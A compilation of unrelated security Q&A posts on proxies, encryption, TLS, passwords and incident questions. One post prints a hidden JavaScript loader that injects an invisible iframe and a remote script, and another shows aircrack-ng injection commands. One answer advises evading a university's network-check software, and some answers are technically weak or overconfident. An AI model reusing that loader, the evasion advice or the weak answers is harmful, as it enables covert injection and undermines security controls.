Setting the proxy host and port and clearing the 'No proxy for' field is all you should need to do.
Have you tried refreshing the relevant WebGoat page (Ctrl-Shift-R)?

I use ZAP to proxy to local applications all the time on Linux, Windows and Macs with no problem.

Btw ZAP is not the new name for WebScarab, its a completely different product ;) But WebScarab is no longer maintained while ZAP most definitely is :)


Can I decrypt my SD card with another phone? I found this answer in an old 2016 post, and I have the same problem.

I encrypted my SD card and when I unencrypted my phone, I didn't realize I needed to unencrypt the SD card first. To be honest, I probably would have forgotten to anyway, I was already so frustrated as I had someone in my phone and this was my latest attempt to get them out.

I was wondering if you needed to use the same phone that you encrypted the  card on to do what you are suggesting or can you use a totally different phone.

I have recently given said phone to a friend in another state who had a dinosaur phone. In fact I am trying to get the unlock code for it now.

I appreciate any help as this card contains important data. I realize I should have done backups, but I couldn't at the time.

To decrypt the SD card, you need the decryption key.

Since every Samsung device has an unique hardware key, you need to use the same device you've used for encryption.

I'm afraid that your only option is to ask your friend to use your previous phone to decrypt the SD card.

Be sure to follow the steps in the answer you linked to prevent an irreversible data loss.


Securing Code Secrets - What is the relevance if the host gets compromised? I've been researching and testing different approaches when it comes to securing code secrets, and am unsure what the best options are, and if they even have any relevance once a host gets compromised.

Some standard approaches I've read about storing variables are:

Compiled code
Environment variables on machine or through Docker
Files
Encrypted/decrypted through keys to a vault API/DB

If a host gets compromised (admin access), secrets can be exposed via:

Decompiling code
Viewing env variables / files
Memory dumps
Viewing SSL traffic using private keys on host
Decompiling and modifying code to expose possible encryption/decryption keys and output secrets once fetched from a vault

Are there methods that will protect secrets once a host is compromised, or is it just making the ability to fetch secrets more complex, so an intruder will find it more difficult to reach them?
If a host is secured and firewalled and admin access is tightly controlled, is there really any benefit to the added complexity of storing secrets elsewhere rather than on the host itself?

You mention the "host" being compromised, but the answer depends on just how the host is compromised.  If an attacker has gained access to a user account with restricted privileges, then the jig isn't up yet!  It will be, however, as soon as they find a privilege escalation vulnerability.  That's because:

In general, if your application has access to the secrets, and someone gains root/administrative access to your machine, then there is no way to stop them from gaining access to your secrets.

This is basically just the first law of the 10 immutable laws of security.  Now, additional steps may slow down an attacker.  For instance, it may take them time to figure out how to extract, reverse compile, and find your decryption key.  Or it may take them some time to make sense of a full memory dump though, or to figure out how to intercept traffic between the application and the hardware-decryption module.  Unfortunately, it is effectively impossible to secure an application against a rogue root account (see Law #6 in the link above).  As a result, if someone manages to take over root on host where your application is hosted, you should assume that all data the application has access to is compromised.


Can you use https only for cookies and not the html? I have a few questions, all relating to the title.

1) Is it possible to configure a server to receive the cookies using https but then serve all the content with http?

2) Does SE do this / do many sites do this?

3) Is it less costly on the CPU to only do the cookies over HTTPS?

4) Are there any security risks to doing it this way as opposed to all over HTTPS?

I'm not very experienced in this area, so my apologies if I've made some incorrect assumptions.

No.  A response (and the associated request) is a single entity composed of headers (one of which is the cookies) and the body (in the case of the response, often HTML.  They are not separate.

Since the answer to question 1 is no, the answers to questions 2, 3, and 4 are also necessarily no, since this is not possible to do.


How to install client securely? I'm writing a program in PHP that sends data from one master to many clients (all Joomla websites).  When the client software is installed, it should send a message to the master identifying itself, and then the master will reply with configuration info (including a key that will be used to verify future communications).

What's the best way to activate this connection securely?  Currently, the master has a database with allowed client URLs, and in order for a client to be installed, it has to be manually added to the database.  I'd like to use a system that eliminates human error, but aside from reading the occasional Coding Horror post, I'm completely new to this.

I'm primarily looking for the conceptual model I'll have to implement.  I'd like this to be a learning experience.  Libraries would help, but I want to know why I'm doing what I'm doing.

Your question seems to be a bit ambiguous to me because I fail to understand what you exactly want through it. Do you want the theoretical steps you must follow or the practical algorithms and libraries for your particular language that may help you do this?

If it's a general guide on how to make client-server architecture based software security, here's a good read:
http://www.eldos.com/security/articles/1942.php

As I understand it you want a method to automatically authenticate a license and add the specific computer's I.P. to your database of allowed IPs?

A good way to do this is use a simple SALT + Hashing algorithm wherein:

Each installation comes with a product ID.
This unique product ID has to be passed by your client to the server each time before use, wherein the server takes the product ID, checks if it is valid, then generates a access code (based on that day's unique salt dependent on say date and md5 of the salt+prodID).
This access ID is added to the access table and passed back to the client. In this manner everyday on the first run the client will be verified for it's validity.

Why this approach is good?
This approach leaves the method of validity to you. Ie. When you get the prodID, you can ensure multiple things such as:

Has any other computer tried to use this product ID today?
Is this prod ID first time used? In that case store the IP
If it's not used for the first time, is change of IP permitted? If so, how often?

Edited:

Alright, we'll change the above procedure a bit to get it to work. I'm presuming that you want to use it in sort of a licensing system.

Configure your payment system to generate a product or license ID for successful purchase. This ID can be anything, but remember to store it in your database.
When the client first runs the Joomla Extension, get the Joomla Extension to take the product ID from the user once, and store it locally. Then pass it to the server for registration.
At the server our products table will have two columns (pID,URL) If the product is having a null URL then we put our URL in the record where pID = Our pID
If not, and our URL is not the existing URL, then we have an unauthorized installation of an installation at a separate location then the original one. A separate method would have to be used to re-validate that.


How to respond when network info sec check requires run of downloaded unknown .exe? I recently visited a university for an event where I was expected to bring a computer and do work using the campus wifi.  On first connection, I was asked to download a "SafeConnect Policy Key" (.exe) which, according to its description, was designed to verify the degree to which I engage in what the University viewed as proper information security practices, such as applying all patches and updates to the operating system and running an acceptable antivirus.

So in order to prove that I have good information security practices, I'm supposed to download and run an .exe file from an unknown author?  It seems like that should be an automatic failing mark, not a mandatory requirement.

Further, as far as I can tell this is executable software which would continue running on my computer forever, with no clear way to remove it, reducing performance and causing who knows what other issues, even though I'm only planning to be performing duties for this nonprofit at this location for a day or so.

This is a common requirement at many universities.
UCSC has a description of its operation here.  UNC doesn't explain well how it works but provides an installation guide including instructions to provide administrator credentials and/or override security warnings from the operating system.

Requiring these steps seems like a poor way to secure or teach about cybersecurity, but this seems to be a common policy at lots of institutions, and I can't change that requirement at any of them.  (Nor was there a good way of knowing about these requirements in advance of arrival).

What is the most appropriate response to such a situation?

Run it in a virtual machine. Either they are too dumb to be serious about it, or they're just setting you up, but this way you'll definitely pass the test.

In case you won't get the access from your host machine that way, try to set up bridging (see: VirtualBox; VMWare) for that virtual machine and then route the traffic of the host machine through NAT in the VM. This will help in case the executable is checking and reporting the MAC address of the machine it's being run on. Again, either this is your actual assignment or they have dealt with sane people before. Don't give up, you'll learn something anyway.

Also, in (an unlikely) case the university is really good and the event in question has anything to do with Meltdown/Spectre, it might be a good idea to carefully migrate the said virtual machine away from your personal computer towards some cheap cloud out there soon after you've run that executable (and well before you've opened an university-owned Web page, just in case).


Is it safe to keep my KeePassX database on my server or cloud with encryption? My KeePassX file has a long and strong password.

I've read several articles and discussions about how safe it'll be stored such a file on VPS or cloud service such as Dropbox. There was no consensus in the discussions.

I'm aware of a possibility that storage or my server can be hacked, or a staff member would copy my file to her computer and try to guess my password -- this is what my question is about too.

Finally, how safe is this if my file protected by long enough password by itself not encrypted by some other tool unrelated to KeePassX? If the worst happens -- my file gets stolen by a hacker.

I need a simple and succinct answer without any "if...then", "if not...."

The point of encrypting the key store is that theoretically you should be able to publish the encrypted file to the public and have nothing to worry about.

With that said, all programs have bugs, and to counter that threat it's a good idea to store your key file in an encrypted/protected area such as Dropbox.

While there's a chance Dropbox gets hacked or an employee steals your key store and attempts to hack it, the likelihood is extremely low.

Make sure you're using best practices and you'll be fine.

don't reuse the password for encrypting the key store
the keystore pass should be difficult to guess
use the latest version of the KeypassX program
Sign up to haveibeenpwned to be notified about any breaches


How can an attacker tell when someone in a private network connects to the Internet? I heard that your PC can get infected just by connecting to the Internet (even without the web). Assuming I'm connected to a private home network, how can an attacker tell that I just connected to the Internet if I'm not browsing the Internet or doing something else that requests information from a server on the Internet? Is my PC publicly announcing that it connected to the Internet? How can I prevent an attacker from finding my PC on the Internet?

I heard that your PC can get infected just by connecting to the Internet (even without the web).

Note that the source you linked does not say you can get infected by connecting to the Internet, but if you're connected to the Internet. Connecting to the Internet does not trigger an attack, it just opens the door for it.

Assuming I'm connected to a private home network, how can an attacker tell that I just connected to the Internet if I'm not browsing the Internet or doing something else that requests information from a server on the Internet?

S/he can't, and doesn't need to. Active attacks are continuously and blindly sent to all IP addresses without bothering to check who if anybody is connected. The moment you connect to the Internet these attacks start arriving at your border router.

Is my PC publicly announcing that it connected to the Internet?

Possibly, in many ways, depending on what exactly you mean by "publicly". For example, it may automatically register with Skype, Teredo, DynDNS or Dropbox, query several software vendors for updates or post your online status to WhatsApp. But none of these is known to draw attacks to it.

How can I prevent an attacker from finding my PC on the Internet?

Wrong question. The attacker does not look for your PC. S/he just attacks everything that is connected, and if your PC happens to be there it will be attacked. No finding involved.


Why are encryption methods chosen by what is not broken instead of what is possible? I've noticed there's an absurd amount of time, effort and arguments about whether or not we should use certain crypto ciphers or encryption methods.

In this link some people go into how certain ciphers at minimum are required per level of security clearance in the DOD. They go into detail about how each cipher is built to a certain degree of  strength for the importance of the information.

The thing is, eventually their recommendations for even touching things like SHA-128 certificates for "low priority items" is going to make them have to go back one day and change out everything once that is declared unsafe. (which the security community knows most people won't)

There is plenty of debate about safety. The thing is though, we have the capacity to come together and agree that certain reasonable methods are stronger than others like when a certain method was openly selected for veracrypt as the safest.

My question

Why are encryption methods when being taught to new admins and engineers in the industry with the approach of:

  "From what we have heard about, this list seems okay to use for now. These ones are broken and over there are fine for now but will need to be upgraded in around 4 years from now. There are recommendations that will put you to new levels of security standards but, we'll let the security gurus worry about that for now."

instead of:

  "We know you're busy, so this is the strongest practical option we have today. It runs everywhere math works and it's the most solid solution we have come up with. So, use it. Don't consider anything else until the industry has decided there is something better. If you find something using something weaker, improve it. If you can't, move it. Otherwise don't come to us when you're dealing with the consequences of not just locking onto the best option that the security community openly handed you when you decided it was fine to just use something else."

The simple answer is, it isn't that simple.

There a number of reasons for this.

First, let's address the notion of:

  "What is not broken, instead of what is possible?"

Outside of information theoretically secure algorithms, all algorithms fall under the category of "isn't broken yet" for some notion of semantic security.  This includes entire classes of systems that we don't have (in use today) good quantum resistant replacements for, like asymmetric algorithms for digital signatures and key exchange in TLS.  Not that quantum resistant algorithms for problems like key exchange and signatures don't exist...We just haven't figure out how if we can use them practically yet, and in cases even done enough research to be sure they're actually reasonably secure.  So "what is possible" is more academic than practical, even in the world of hyper-scale systems.

On that note, performance.  Even in the world of hyper-scale systems, performance is critical, even to the largest players.  Google, for one, is constantly looking for ways to shave milliseconds and increase the number of concurrent sessions they can serve, and they (and everyone else) has to be concerned not only with their own servers but with the hardware the client has on the other end, which may be a modern laptop, or a 15-year old low-end desktop, or a smart-phone, or an eight-year old feature phone with a basic web browser, or for non-web systems, a low-power embedded device, or a smartcard with almost no computing resources at all.

On that note, compatibility.   Even in the most up-to-date modern x64 processors and software can easily handle any algorithm thrown at them, as  Matija noted in another answer you can implement algorithms in a cryptosystem that can't be understood by consumers of those systems.

Additional considerations pointed out by SEJPM in a comment is certification, and politics.  Some systems implementers don't even have a choice in algorithms.  A FIPS-certified system, for instance, can only implement FIPS alogithms.  And not just any implementation of those algorithms will do..The implementation itself needs to be FIPS-certified.  Many US government systems have this requirement.  Russian systems, on the other hand, may be required to implement their own standard algorithm, GOST.   So even in senarios where better algorithms exists (and for FIPS, this is a reality, not a theoretical) they aren't an option for regulatory reasons.

To deal with all of these issues, we have a variety of options, and all of those options come with various benefits and drawbacks, and for a specific use we have to consider carefully the trade-offs which make choosing the "most secure" option subjective, and often impossible to measure without resorting to individual opinion on the impact of those trade-offs.  And, as we've seen, due to performance and compatibility requirements, security itself is a valid trade-off to make in order to produce an entire system that works nominally optimally well.


How do certificates work in protecting against a man-in-the-middle attack? As I understand it, if Alice and Bob wants to communicate securely, they must first agree on the protocols that will be used. Then they must confirm that they are indeed communicating with each other. This is done via certificates signed by some trusted third party. The public key and hashing algorithm used by the third party are already stored on your computer. Alice then sends Bob her certificate and Bob sends Alice his certificate. They both verify the certificate's signature using the third party's public key. If it's valid, they start their key exchange and such. However, what is in those certificates that confirms their identity? I imagine it can't just be "Hi, this is totally Bob/Alice, trust me." I would imagine that Bob's certificate must contain Bob's public key, but wouldn't it be unsafe if Bob used the same public key everytime? Wouldn't it be better if he could use a different public key for every client?

Also, does a website (such as Amazon) have only one certificate that it sends to all clients, or is a new certificate signed by the third party for every client that connects to the website?

I would also appreciate some sources on the basics of the application of asymmetric cryptography if anyone has some simple sources (I'm still a dummy though).

the wikipedia article especially the svg image is a good base to start with,

1 fundamental thing you have to understand is that for PKI, it does not matter if everyone has the Public key since you can only use it to ENCRYPT inormation intended for ME with it (its like I give everybody a lockbox only I have the key of)

and the private key can not be deduced from the public key. (cryptographic 'law')


TLS generates MAC for whole data or just a packet over the wire? TLS works over transport layer, packet fragmentation/defragmentation is controlled by transport layer, when we attempt to send a file over TLS/SSL ,is the MAC is generated over entire-file-content or a portion of file OR that would vary on underlying application layer protocol (HTTPS/FTPS)?

Data are sent within TLS in records and the MAC is computed over  the contents of the record, see http://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_record. The size of the record is independent of any packet sizes of the underlying transport layer, that is a packet can contain multiple records or a record can also span multiple packets. The record size is also independent of any file sizes since there is no idea of a file anyway with TLS, only of data.


Lost Smart Card - extract private key? Consider you lost your laptop with sensitive data and your smart card that contains the private key for your GnuPG and Truecrypt accounts. The smartcard is secured with a 8-digit PIN.

1) Is it possible for an attacker who finds the smartcard to somehow extract the privat-key; resulting in decrypting all sensitive data from GnuPG and Truecrypt?

(a) Consider laboratory circumstances. Further, is it possible to use acid or hightech-laser to melt off the chip shielding and literally 'extract' the private-key with some wires you put there?

(b) Could the attacker basically exploit the PIN verification process with a side channel attack? Imagine the attacker inputs a random PIN and analyzes the side-channel-informations of the smartcard which checks if the PIN is correct. Is that possible?

2) Does it matter what kind of smartcard you use?

Yes, once they have all the data, they have all the data.  Period, end of story.

Now, for the fuzzier part, most smart cards take great care to make it difficult to do so.  Some will have a PIN interface that erases the card after N failed attempts.  Some will do things such as put powdered aluminum right over the top of the memory chip, so that any attempt to mill your way into the chip to directly read the memory will melt the chip.  But it's only designed to increase the difficulty of such exercises.

If you think about it, if you could secure something perfectly, defusing bombs would be a much more difficult art, wouldn't it!

I read an article a few years back that did a side-channel attack on a smart card by measuring the microamp power draw changes as instructions were executed.  They were able to back out the AES key by looking at the length of loops that got executed.

In short, the rule is always "if they have physical access to your data, nothing can prevent them from using it."  This will hold true up to quantum style cryptography (which could turn the data to noise if you put the wrong password in).


POODLE vulnerability solution : Effect on customer or client side I am using windows server 2008 R2 and I have lot of customers who use windows XP,7 and 8 with some of them still using IE6. So now I want to disable SSL3 and enable TLS 1.1 as a security measure for POODLE vulnerability. But I have some doubts on this.

1)Should I enable TLS 1.1 in IE or using registry as mentioned here

2)If i disable SSL 3 and enable TLS 1.1 then does my all customers who visit website do the same setting?

3)If I disable SSL 3 and enable TLS 1.1 then does customers using browsers IE6 or any browser (IE7,8 etc) with TLS 1.1 not enabled will be able to access my website? Will they get any problem? Because i have lot of users so i want to know what will happen due to these settings?

Disabling SSL3.0 is one of the ways of mitigating POODLE attack. The other way is to apply the TLS_FALLBACK_SCSV patch. There are downsides for TLS_FALLBACK_SCSV as well:

Microsoft doesn't support it yet. A bug has been raised in this regard: https://connect.microsoft.com/IE/feedback/details/1002874/internet-explorer-should-send-tls-fallback-scsv
Both the SSL peers are required to support this cipher suite. i.e., even if your server supports it and the clients coming in dont, we're still vulnerable to POODLE attack.

Now since Microsoft doesnt support TLS_FALLBACK_SCSV yet, the only option for you is to disable SSL3.0. Lets come to the implications of doing this:

The IE6 browser which doesnt support SSL versions greater than SSL3.0 will NOT be able to establish a SSL communication with your server.
All other browsers will support TLS1.0 at least. Since you allow TLS1.0 in your server, they will be able to communicate using that.
For clients advertising versions > TLS1.0, there's no problem at all(since you allow those versions as well)

The reason why SSL3.0 is vulnerable to POODLE is that when it uses CBC mode ciphers, the SSL design doesn't mention that after decrypting the blocks, the padding block needs to be validated. (why is this a problem?: https://www.imperialviolet.org/2014/10/14/poodle.html).

The reason why TLS is not vulnerable is because, it explicitly states that the padding block needs to be checked for a specific pattern. (OpenSSL and most other implementations of TLS fills the padding block with |length of padding block|).

Since this vulnerability exists only if the server and client agree upon a CBC mode cipher, another way to mitigate POODLE attack is to use non-CBC mode ciphers like RC4. But this is NOT recommended as RC-4 ciphers have their own list of weaknesses.


Why would I choose SHA-256 over SHA-512 for a SSL/TLS certificate? I'm looking to renew an SSL (okay, TLS) wildcard certificate with a well-known service. I need to provide a CSR, which I have created using a 2048-bit key. I also need to choose a signature hash. The service offers three choices: SHA-256, SHA-384, and SHA-512. Of these, SHA-256 is the default.

This confuses me. Isn't a longer hash presumed to be always stronger? Is there a good reason I might want the smaller 256-bit signature hash over the larger 512 or is this likely just a UI mistake? Are there some applications that can't use 512 bit hashes yet?

From a security perspective, it would be pretty pointless.  In practical terms, SHA-256 is just as secure as SHA-384 or SHA-512.  We can't produce collisions in any of them with current or foreseeable technology, so the security you get is identical.

From a non-security perspective, the reasons to choose SHA-256 over the longer digests are more easily apparent: it's smaller, requiring less bandwidth to store and transmit, less memory and in many cases less processing power to compute. (There are cases where SHA-512 is faster and more efficient.)

Third, there are likely compatibility issues. Since virtually no one uses certs with SHA-384 or SHA-512, you're far more likely to run into systems that don't understand them.  There are probably fewer issues now than in the past, but again, you're buying yourself risk for no gain.

So, at the present time, there are no clear advantages to choosing SHA-384 or SHA-512, but there are obvious disadvantages.  This is why SHA-256 is the universal choice for modern certs for websites.


Exploit VS Reverse Engineering VS PenTest To start let me say that I'm trying to find my way in infoSec...I wanna know which path to follow. My background is basic database CRUD programming (HTML Php, JavaScirpt, Java etc...)

I just read an  cnn article about a yahoo major data breach
They say it was "an individual" sponsored by some state...

So I thought that individual might be a pentester, reverse-engineer (i.e. vulnerability researcher), exploit writer ....

My question is : what would you recomment a beginner to do if its goal is to go from "zero knowledge (i.e that knowledge being my current programming background)" to "expert knowledge" ?

For instance for the summer holidays (3 to 4 months no school sitting at home studying infosec), how should I study at least one of the follwoing fields to reach some intermediate level at the end of the summer holidays :

exploit writing (I like that field becaus I know a little programming) ;
reverse engineering (vulnerability researching) ;
pentesting ;
name anytoher field I am not aware of

... some sort of roadmap with textbooks if possible.

There are several technical and non-technical jobs in infosec, but for web developers, with your profile, I would recommend you to read about web applications and it's flaws.

Pentest is usually a several steps activity, when it is executed by a team, maybe only a few members have a good knowledge about more than one field. Exploit writing is really vague, if you plan to write buffer overflows (stack, heap), the basic of assembly is fundamental, but if you keep your focus in web applications, that won't be necessary.

There is not much books or recommendations on the web for a final complete book that you read and magically get all knowledge. Usually what you will read is the technical documentation for the application, man pages, and books on your field. For a good start, install DVWA, get used to read code, understand the vulnerabilities in your field of study (php/java), learn how to exploit it. It would be an easier start it by spending hours debugging your shellcode into gdb. Let those steps for another moment and you will see the results faster.

In parallel with that, keep collecting old versions of software, get used to docker and vagrant, because you will use it a lot to build your test environments.

And keep the magic rule that, you should be able to know how to do certain activities to be someone able to execute a vulnerability assessment on that field. You will really often be asked "but how we fix it ?", if you just print and send a scan report, you will never be really able to get in touch with that kind of activity.

Besides technical skills, you will spend most of your time explaining the impact of a vulnerability to a customer, and how to fix it. Happens a lot, a guy exporting a Nessus report to pdf and sending it via e-mail. This usually isn't something that IT managers keep an eye on, once I worked for a company that just want a second opinion, the result, their main Oracle database was pwned in a matter of a day, with all that hosts in the path compromised too. Now imagine your reputation in the market, after 2 years of just mailing Nessus reports saying that the environment is 100% ok, their finished their contract with the other company in the same day. But that is what happens when people don't work in their area of expertise. That auditor is an excellent professional, with a lot of knowledge on internal processes, ISOs, PCI and security policies, mistakes happen, but never touched an Oracle database, an Open VPN Server, a Cisco router and a Windows Server. Without a deep understanding of a topic, you won't be able to perform a complete pentest on that platform. As an example the same will happen with me if I try to make a vulnerability assessment on a Solaris, what will happen is a lot of google research and several tasks executed because I've read about it, in other words, it would be better results just running Nessus, because my testes would in lack consistency and is possible that I leave something behind.

Another field that may interest you is incident response. If you were able to get a degree in law too, or know a good lawyer to partner with, you will be able to perform the whole response. But you will need to be versatile, know from blocking a DDoS attack, to write a firewall rule, fix a php file inside a production server, parse old application logs to generate a white list in a matter of minutes. Basically is to mitigate the attack, recover from the attack, gather evidence, do the legal aspects of the activity and help the investigators with your gathered evidence.

Like all kind of business, you should think about what is the value of your work to your customers, and a pentest/vulnerability assessment should result in a better understanding of security level of your customer, giving as result what you tested, how you tested, what you found, and what your customer need to do to archive the security level that is needed.


Securing Downloadable Files on Website Per User I have an ASP.NET website serving up private PDF documents. The PDFs are stored unencrypted on a share on the internal network. The user logs in and navigates to the download page. The web server validates that the user has access to the file, loads it from the share and transmits it in the response.

Is this the "right" way, a secure way to deliver these documents? For instance, if the PDFs were stored in a directory on the website itself, that would be a bit time security risk. As I mentioned, they're not in the website directory. But what else should I be aware of with this setup to keep these documents secure?

You need to be aware of (at least) the following:

If your documents are in a publicly-accessible folder, they're not private. This includes simple protections such as checking the referer, which are trivial to juke
If your documents are in a folder above the HTTP root, it is one step better; if they're encrypted and only one script can read them, even better.
If you have an include vuln on your site, expect people to be able to read them
Expect people to read them and plan accordingly - build audit so you know who has read stuff and, more importantly, when.

There are plenty of good ways to do so. A Stack question (https://stackoverflow.com/a/4993279/2167834) has a few good methods - 3 and 4 are particularly nice, especially if you have the possibility to store your files on S3 (and take advantage of the AWS token credentials).


What is the most reliable way to transfer emails without specific recipient support? Many suggestions on transfering emails securely can be found in this answer. But many of them (e.g. PGP) need support from recipient. I want to provide SMTP email server that will route emails of it's clients in the most secure way.

By security I mean:

Presense of proof that is me who send this message
No one man in the middle is able to read contents of message
Preventing other email servers to send message with FROM address containing my domain name (I prefer those emails to be in Junk folder. I'm not sure it's possible)

What are the best ways that will give security without specific support from recipient? (i.e. recipient of email won't have to install plugin/specific program to read email. I know that SMTP itself doesn't offer security. Are there widespread extensions or something like that offer additional security?)

The only known to me way that increases security without recipient support is STARTTLS (it will give me 2 from the above list). But STARTTLS needs support from both ends. Very few major email providers support it nowadays (GMail supports). Does STARTTLS give the same level of protections as TLS in HTTP?

There are many known attacks against TLS in HTTP, e.g. BEAST. Do the same attacks apply to TLS (STARTTLS) as it is used in SMTP? What cipher suites are safe to use with STARTTLS?

Can't be done.

To achieve option 1, you need digital signing, and the receiving end has to check the signature.
To achieve option 2, you need encryption, and the receiving end has to decrypt.
To achieve option 3, you need the receiving end to check for a forged sender address.

You're always going to need stuff at the receiving end. Now, that could be in the server, or the client. But it needs to be there. And you have to decide what you want to happen if it's not there. Have the mail fail? Or allow it to go in an insecure fashion?

w.r.t STARTTLS, that is just an extension to the SMTP protocol allowing the originating server to ask the receiving server to use TLS for the connection. So basically it is TLS.


Is e-mail authentication using a hashed ( address + string ) insecure? I want to give a newsletter subscriber the possibility to change his information.
Since we're using an external company for sending our newsletter I can't put a key right into the newsletter (or not without much effort).

I created a form where you can enter your email and after checking if it's a subscriber, it sends an email with a link to change your information.

The link contains the plain e-mail and a hashed key which is made like sha1(email + "someString") so for example:

  domain.com/change.php?mail=your@mail.com&key=356a192b7913b04c54574d18c28d46e6395428ab

In my script, I then check if the given email + "someString" results the same as the key.

I know the link would stay the same to change your information, but I wanted to ask if there is any security issue in doing this whole thing this way, or should I rather create unique keys and store them in the database?

It would only be to change your prename, last name - maybe I bother too much.

Since you want to change the user information, you presumably already have a db with (email, first name, last name) so I would add the token there too (plus an expiration time).

If you would use it in a stateless way (eg. just to confirm subscription), that's an acceptable approach, but you should be using a HMAC rather than a hash of concatenated values.


How to inspect an email attachment without downloading it? I accidentally opened a PDF email attachment on an Android phone as I was trying to figure out if the email was fraud or a scam. It was an email claiming I booked a flight and the pdf had my e-tickets.

I wanted to download the attachment to have it analyzed on a website but I'm nervous about doing that. Plus I'm not sure if I would be able to tell if the potential malware is executable on Android.

I opened the attachment, without downloading it, with Hotmail.

Are there any sites that could examine a forwarded email with the attachment so I don't have to download it to my computer to upload to a site?

Four different virus scanners couldn't find anything on my device and it's not acting any different but I'm still worried about what could be buried.

Many email services include a basic virus scanner. I know Gmail does, but that is not an endorsement. One thing you could try is to forward the email to another email service that uses attachment scanning.

If something is found, then you know. But if nothing found, then you cannot be certain.

Another option is to use a webclient for your email (like Gmail) and save the attachment directly to an online file store (like Google Drive). Then you can use VirusTotal's URL scanner to access the file (after you made it public). The file never touches your computer and never gets executed and gets sent to an online service to be scanned.

But the PDF is most certainly infected. What you describe is a very, very common attack. You need to scan the attachment to see how it might have affected your device.


Injected JavaScript Code Last month, I noticed that my site has an injected Javascript (by view-source). I asked my host about it and they say they've found a virus and have fixed it. However, the Javascript is still there - the support ticket is still open :(

Recently, I just discovered that all HTTP websites I visited has the same injected JS code. The JS code will only appear on HTTP, if the site has a HTTPS version no inserted code will appear.

Below is the inserted code. Is it a malware or some sort of security concern?

if (top == window) {
var layer8NameSpace = "layer8ns";
"undefined" == typeof window[layer8NameSpace] && (window[layer8NameSpace] = {}), window[layer8NameSpace].layer8Loader = function() {
    function e(e) {
        return "undefined" != typeof e && null !== e
    }

    function t() {
        var t = document.createElement("script");
        t.setAttribute("src", s), t.setAttribute("id", "fn_layer8_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
    }

    function n() {
        var t = r();
        if (e(t)) {
            var n = t;
            i() && (n = d(t));
            var o;
            try {
                o = document.documentElement, o.appendChild(n)
            } catch (c) {
                o = document.body, o.appendChild(n)
            }
            a()
        }
    }

    function a() {
        function e(e) {
            var n = e.data;
            "l8IframeIsReady" === n.message && t()
        }
        window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
    }

    function r() {
        var t = document.createElement("iframe");
        if (e(t)) {
            t.setAttribute("id", "fn_layer8"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
            var n = /firefox/i.exec(navigator.userAgent);
            e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
        }
        return t
    }

    function i() {
        var t = !1,
            n = /android (\d+)/i.exec(navigator.userAgent);
        return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
    }

    function d(e) {
        var t = document.createElement("div");
        return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
            return !0
        }, t.appendChild(e), t
    }

    function o() {
        var t = void 0,
            a = this,
            r = function() {
                e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
            };
        t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
    }
    var c = "http://globe.moreforme.net",
        u = c + "/l8/Layer8Servlet",
        s = c + "/scripts/Anchor.js";
    o()
};
var layer8Loader = new window[layer8NameSpace].layer8Loader }

As @Arminius has pointed out, This is being injected by your ISP to generate revenue.
So many similar cases are found as @user52472 explained.

But the solution to this issue is not a VPN (as it is just a workaround), I would suggest picking a better ISP and explaining your current ISP that this is a shady practice.


How to find injected code in SQL? Recently one of my sites was hacked. The hacker used SQL injection to compromise the security. After getting SQL access he injected code in many places in the database. I cleaned up many of them. But I am still worried that it may contain any hidden backdoor.

How can I find such injected code?

I would suggest reviewing the connection settings for the DB as well as resetting any passwords and verifying any hostnames for users allowed to connect to the DB.  Also, be sure that you have run down the original source of the intrusion.  (If you have a query log, look for what other querys happened with the rogue queries, since SQL injection piggybacks on a valid query.)

The more complicated issue would be if you are hosting HTML content out of the DB in which case the attacker could have introduced pages that would allow for further injection, but such records would be very hard to find without doing a diff as you described.  This could also apply if they did any permission elevation within the system that is running on the DB.

There may be other things worth checking, but those are the immediate things that come to mind for generic ways that a SQL DB could remain compromised.


How can I write a good corporate password policy? Our company works in health care, and we've written a corporate security policy, including passwords. Something that I noticed about the policy and have commented on, it says the password should not contain dictionary words. The spirit of this is right, but take my password for example, it's greater than 30 characters and is a passphrase, it does contain dictionary words, but at its level of complexity that's irrelevant. Also that doesn't eliminate passwords like p4$$w0rd0! which are equally as bad.

how can we write a policy that encourages people not to use bad passwords but does't accidentally exclude good ones?

IMO, the criteria in a policy should be explicit, minimal and enforceable.  "Do not use dictionary words," belongs in a best-practices document or the corporate security awareness training, not in the policy.

The policy should specify things like minimum length, complexity criteria, maximum (and minimum) age for each category of password.  It is common practice to require longer passwords for accounts with elevated privileges.

Based on current GPU hash cracking performance, 10 characters chosen from 96 (upper, lower, digits, special including space) is the minimum length that should be considered and 12 would be a much safer choice.  There has been a lot of discussion in recent years about the actual value of frequent password changes.  One of the downsides to consider is induced bad behaviors.  If users can't remmeber their password because it is changed every month, they will write it down or use guessable passwords and undermine the control.

I very strongly urge the adoption of two-factor authentication, risk-based authentication and Privileged Access Management solutions.


Testing my network using aircrack-ng not working I an using Fedora 17 With Intel 5100 card. When I execute the  command:

[root@fedora user]# aireplay-ng -9 mon0
10:26:46  Trying broadcast probe requests...
10:26:46  Injection is working!
10:26:48  Found 1 AP

10:26:48  Trying directed probe requests...
10:26:48  02:22:FA:03:34:45 - channel: 11 - 'testnet'
10:26:48  Ping (min/avg/max): 2.015ms/6.429ms/9.232ms Power: -79.60
10:26:48  30/30: 100%

However when I try to test with the access point bssid, i get the following:

[root@fedora user]# aireplay-ng --test -e testnet -a 02:22:fa:03:34:45 mon0
10:28:50  Waiting for beacon frame (BSSID: 02:22:FA:03:34:45) on channel 11
10:29:00  No such BSSID available.

Can anyone help me on what is going wrong. I tried posting in the aircrack forum but to no avail.

This is a kernel related issue and I have long wondered why it continues to be so. Ubuntu even removed aircrack-ng from their repositories. Anyway, there are kernel patches on the aircrack-ng website, or alternatively, you could create a bootable USB/DVD drive of backtrack-linux and use that. It's a pretty stupid problem, and I wish I could tell you why, but can only guess. And my guess would be cynical.

